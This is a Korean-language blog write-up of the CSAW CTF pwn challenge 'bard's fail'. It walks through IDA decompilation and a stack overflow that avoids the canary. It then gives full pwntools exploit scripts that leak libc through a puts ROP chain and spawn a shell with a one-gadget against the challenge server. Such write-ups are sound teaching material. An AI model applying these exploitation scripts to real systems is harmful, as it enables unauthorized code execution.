Pwnstar

CSAW CTF bard's fail 본문

CTF

CSAW CTF bard's fail

포너블처돌이 2020. 9. 18. 01:33

며칠 전 주말에 진행되었던 csaw ctf에 나왔던 bard's fail이라는 문제를 풀어보면서 라업을 써 보려고 한다.

그 당시에 못풀어서 아쉬움이 좀 남았다.

구조가 조금 복잡하게 되어 있으니 자세하게 분석해 보자.

IDA로 분석하며 함수 이름들을 임의로 바꾸어놨다.

main함수(0x40107B)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  puts("*** Welcome to the Bards' Fail! ***\n");
  puts("Ten bards meet in a tavern.");
  puts("They form a band.");
  puts("You wonder if those weapons are real, or just props...");
  play();
  puts("Thy bards hast disbanded!\n");
  return 0LL;
}

main함수는 이렇게 되어있고 문자열들이 출력되고 나면 play함수를 실행한다.

play함수(0x400F7C)

unsigned __int64 play()
{
  int v1; // [rsp+Ch] [rbp-204h]
  int i; // [rsp+10h] [rbp-200h]
  int j; // [rsp+14h] [rbp-1FCh]
  __int64 v4; // [rsp+18h] [rbp-1F8h]
  char s[488]; // [rsp+20h] [rbp-1F0h]
  unsigned __int64 v6; // [rsp+208h] [rbp-8h]

  v6 = __readfsqword(40u);
  memset(s, 0, 480uLL);
  v1 = 0;
  for ( i = 0; i <= 9; ++i )
    v1 += good_or_evil((__int64)&s[v1], i);
  v4 = (__int64)s;
  for ( j = 0; j <= 9; ++j )
    v4 = action(v4, j);
  return __readfsqword(40u) ^ v6;
}

play함수를 보면 s변수를 480바이트만큼 memset으로 초기화시키고

9번의 반복문을 돌면서 good_or_evil함수를 호출한다.

good_or_evil(0x400EB7)

signed __int64 __fastcall good_or_evil(__int64 a1, int a2)
{
  signed __int64 result; // rax
  char v3; // [rsp+1Fh] [rbp-1h]

  putchar(10);
  printf("Bard #%d, choose thy alignment (g = good, e = evil):\n", (unsigned int)(a2 + 1));
  fflush(stdout);
  v3 = sub_4008DC();
  if ( v3 == 0x67 )
  {
    byte_6020A0[a2] = 0x67;
    choose_good_weapon(a1);
    result = 48LL;
  }
  else
  {
    if ( v3 != 0x65 )
    {
      printf("Invalid alignment: %c\n", (unsigned int)v3);
      exit(0);
    }
    byte_6020A0[a2] = 0x65;
    choose_evil_weapon(a1);
    result = 56LL;
  }
  return result;
}

good_or_evil함수에서는 g나 e를 입력하여 어떤 편을 선택할지 정한다. 만약 g를 입력하면 choose_good_weapon함수로, e를 선택하면 choose_evil_weapon함수를 호출한다.

먼저 choose_good_weapon함수부터 살펴보자.

choose_good_weapon(0x400968)

ssize_t __fastcall choose_good_weapon(__int64 a1)
{
  ssize_t result; // rax
  char v2; // [rsp+1Bh] [rbp-5h]
  signed int i; // [rsp+1Ch] [rbp-4h]

  puts("Choose thy weapon:");
  puts("1) +5 Holy avenger longsword");
  puts("2) +4 Crossbow of deadly accuracy");
  fflush(stdout);
  v2 = sub_4008DC();
  if ( v2 == 0x31 )
  {
    *(_BYTE *)a1 = 0x6C;
  }
  else
  {
    if ( v2 != 0x32 )
    {
      printf("Error: invalid weapon selection. Selection was %c\n", (unsigned int)v2);
      exit(0);
    }
    *(_BYTE *)a1 = 0x78;
  }
  *(_WORD *)(a1 + 2) = 0x14;
  *(_DWORD *)(a1 + 4) = 0xF;
  *(_QWORD *)(a1 + 40) = 0x4032000000000000LL;
  puts("Enter thy name:");
  fflush(stdout);
  result = read(0, (void *)(a1 + 8), 32uLL);
  for ( i = 0; i <= 30; ++i )
  {
    result = *(unsigned __int8 *)(a1 + i + 8);
    if ( (_BYTE)result == 10 )
    {
      result = i;
      *(_BYTE *)(a1 + i + 8) = 0;
    }
  }
  return result;
}

1을 입력하여 롱소드를 2를 입력하여 석궁을 선택할 수 있고, 롱소드를 선택하면 a1변수에 0x6c(l)이 들어가고, 석궁을 선택하면 a1 변수에 0x78(x)가 들어간다.

이 다음 알 수 없는 변수들이 들어간다. 대충 구조체로 표현한다면

struct good{
	BYTE* weapon;
	WORD* unknown_val1 = 0x14;
	DWORD* unknown_val2 = 0xf;
	char name[32];
	QWORD* unknown_val3 = 0x4032000000000000;
}

이정도가 될 것 같다. IDA를 보고 이런 식으로 구조체를 만들어 본 적은 처음이라서 형태는 좀 이상하다.;;

이제 choose_evil_weapon함수를 살펴보자

choose_evil_weapon(0x400A84)

ssize_t __fastcall choose_evil_weapon(__int64 a1)
{
  ssize_t result; // rax
  char v2; // [rsp+1Bh] [rbp-5h]
  signed int i; // [rsp+1Ch] [rbp-4h]

  puts("Choose thy weapon:");
  puts("1) Unholy cutlass of life draining");
  puts("2) Stiletto of extreme disappointment");
  fflush(stdout);
  v2 = sub_4008DC();
  if ( v2 == 49 )
  {
    *(_BYTE *)a1 = 99;
  }
  else
  {
    if ( v2 != 50 )
    {
      printf("Error: invalid weapon selection. Selection was %c\n", (unsigned int)v2);
      exit(0);
    }
    *(_BYTE *)a1 = 115;
  }
  *(_WORD *)(a1 + 20) = 0x14;
  *(_DWORD *)(a1 + 16) = 0xF;
  *(_QWORD *)(a1 + 8) = 0x4032000000000000LL;
  puts("Enter thy name:");
  fflush(stdout);
  result = read(0, (void *)(a1 + 22), 0x20uLL);
  for ( i = 0; i <= 30; ++i )
  {
    result = *(unsigned __int8 *)(a1 + i + 22);
    if ( (_BYTE)result == 10 )
    {
      result = i;
      *(_BYTE *)(a1 + i + 22) = 0;
    }
  }
  return result;
}

choose_evil_weapon은 choose_good_weapon함수와 비슷한 형태이긴 하나 evil의 구조체가 좀 다르게 생겼다.

struct evil{
	char* weapon;
	WORD* unknown_val1 = 0x14;
	DWORD* unknown_val2 = 0xf;
	QWORD* unkown_val3 = 0x4032000000000000LL;
	char name[32];
}

1을 입력하면 커틀라스 무기를 선택할 수 있고, a1 변수에 0x63(c)가 들어가고, 2를 입력하면 스틸레토 무기를 선택할 수 있고, a1변수에 0x73(s)가 들어간다. 이렇게 딱 봐도 evil 구조체의 크기가 더 크다 총 9번의 구조체를 형성할 수 있으니 브포를 걸고 한 번 두 구조체의 사이즈를 비교해보자.

g를 선택하고 이름으로 A*32를 줬을 때

이렇게 되고 사이즈는 48바이트이다.

e를 선택하고 이름으로 B*32를 줬을 때

이렇게 입력이 들어간다. 이걸 보고 처음에 54바이트인줄 알았는데,

한 번 더 입력을 주고 확인해보니,

이런 식으로 마지막에 두 바이트가 padding?으로 들어간다. 그러면 총 56바이트라고 할 수 있다.

여기서 이 구조체들이 들어가는 s변수의 크기는 488바이트이고, 그 다음 8바이트는 카나리, 다음 8바이트는 sfp, 다음 8바이트는 rip이다.

이론상 512바이트를 덮을 수 있으면 rip 컨트롤이 가능하다.

evil만 9개를 선언해주면 rip 컨트롤이 가능할 것 같다. 이름이 가장 긴 입력을 받을 수 있는 부분이므로 good + evil*9로 선언해주면 될 것 같다.

이렇게 시나리오를 짜다보니 또 다른 고민이 생겼는데, canary는 어떻게 우회를 하느냐 였다.

canary를 leak해서 같은 값으로 덮거나 아무입력도 안준 상태로 넘어가야 하는데....라고 생각하면서 일단 good + evil*9로 입력을 주며 프로그램을 돌리다 보니 원래대로라면 stack smash 에러가 떳어야 하는데 뜨지 않았다. 그래서 코어파일을 뜯어보니

카나리 값이 변조되지 않은채로 그대로 있었다. 대신 rip 값을 컨트롤할 수가 없었는데...이 값을 변조시키기 위해서 good + evil*8 + good으로 입력을 줘 보았다.

오 rip 부분이 A*8로 바뀐 것을 볼 수 있었다.


그런데 왜 코어파일이 이렇게 뜰까...흠


그럼 우선 시나리오를 대충 짜 보면

good + evil*8 + good으로 만들어주고 rip를 pop rdi ret; puts_got; puts_plt; main으로 설정해주면 libc를 릭할 수 있을 것이고 똑같이 만들어주고 oneshot 가젯을 넣어주면 될 것이다.

우선 릭하는 코드부터 짜 보자

leak.py

from pwn import*

#p = process("./bard")
p = remote("pwn.chal.csaw.io", 5019)

prdi = 0x0000000000401143
puts_g = 0x602020
puts_plt = 0x4006d0
main = 0x40107B

def goodOrevil(side, weapon, name):
    p.sendlineafter("choose thy alignment (g = good, e = evil):\n", side)
    p.sendline(weapon)
    p.sendafter(":\n", name)

def action():
    p.sendlineafter("(r)un\n", "r")

goodOrevil("g", "1", "A"*32)
for i in range(7):
    goodOrevil("e", "1", "B"*32)

goodOrevil("e", "1", "C"*8)
goodOrevil("g", "2", p64(prdi) + p64(puts_g) + p64(puts_plt) + p64(main))


for i in range(10):  
    action()

p.recvuntil("runs away.\n")

puts_got = u64(p.recv(6)+"\x00\x00")
log.info("puts got = " + hex(puts_got))
libc = puts_got - 0x80a30
log.info("libc = " + hex(libc))

p.interactive()

이렇게 짜서 실행해보면

leak에 성공한 모습을 볼 수 있다.

이제 main으로 다시 돌아와서 기존의 페이로드에서 마지막을 원샷으로 바꿔서 보내보자.

ex.py

from pwn import*

#p = process("./bard")
p = remote("pwn.chal.csaw.io", 5019)

prdi = 0x0000000000401143
puts_g = 0x602020
puts_plt = 0x4006d0
main = 0x40107B

def goodOrevil(side, weapon, name):
    p.sendlineafter("choose thy alignment (g = good, e = evil):\n", side)
    p.sendline(weapon)
    p.sendafter(":\n", name)

def action():
    p.sendlineafter("(r)un\n", "r")

goodOrevil("g", "1", "A"*32)
for i in range(7):
    goodOrevil("e", "1", "B"*32)

goodOrevil("e", "1", "C"*8)
goodOrevil("g", "2", p64(prdi) + p64(puts_g) + p64(puts_plt) + p64(main))


for i in range(10):  
    action()

p.recvuntil("runs away.\n")

puts_got = u64(p.recv(6)+"\x00\x00")
log.info("puts got = " + hex(puts_got))
libc = puts_got - 0x80a30
log.info("libc = " + hex(libc))

goodOrevil("g", "1", "A"*32)
for i in range(7):
    goodOrevil("e", "1", "B"*32)

goodOrevil("e", "1", "C"*8)
goodOrevil("g", "2", p64(libc + 0x4f365))


for i in range(10):  
    action()

p.interactive()

익스에 성공했다ㅎㅎㅎ

아직 서버가 닫히지 않아서 서버에서도 익스가 먹힐지 몰라서 무서웠는데 다행히 성공했다.


'CTF' 카테고리의 다른 글

nahamconCTF Rock Paper Scissors  (0) 2021.03.15
nahamcon CTF Sort It!  (0) 2021.03.15
zer0ptsCTF oneshot  (0) 2021.03.08
diceCTF flippidy  (0) 2021.02.08
SSTF2020 eat_the_pie  (0) 2020.08.18
Comments